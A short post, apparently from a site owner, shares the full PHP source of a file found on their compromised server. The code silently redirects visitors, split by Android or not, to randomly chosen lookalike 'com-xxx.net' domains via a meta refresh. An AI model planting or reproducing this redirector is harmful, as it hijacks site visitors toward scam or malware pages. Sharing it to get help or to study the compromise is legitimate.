this hacky file was on my server: bup/appearance.php

<?php

$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$android_urls = array (
                        'http://com-brp.net/hjslp.php?a=314759&c=wl_con&s=22AND',
            'http://com-d2t.net/rofu.php?a=314759&c=wl_con&s=22AND',
);
$not_android_urls = array (
                        'http://com-brp.net/nnkor.php?a=314759&c=wl_con&s=22YMD8',
            'http://com-xsi.net/bdr.php?a=314759&c=wl_con&s=22YMD8',
            'http://com-xvq.net/kgyl.php?a=314759&c=wl_con&s=22YMD8',
            'http://com-6k4.net/jxpv.php?a=314759&c=wl_con&s=22YMD8',
            'http://com-zgx.net/zvsx.php?a=314759&c=wl_con&s=22YMD8',
            'http://com-xci.net/qxe.php?a=314759&c=wl_con&s=22YMD8',
            'http://com-iqp.net/yllaw.php?a=314759&c=wl_con&s=22YMD8',
            'http://com-d2t.net/leg.php?a=314759&c=wl_con&s=22YMD8',
);
 $n = mt_rand(0,count($not_android_urls)-1);
 $rand_url=$not_android_urls[$n];

if ( $android  == true)
{
 $n = mt_rand(0,count($android_urls)-1);
 $rand_url=$android_urls[$n];
}
?>
 <meta http-equiv="refresh" content="2; url=<?php echo $rand_url;?> ">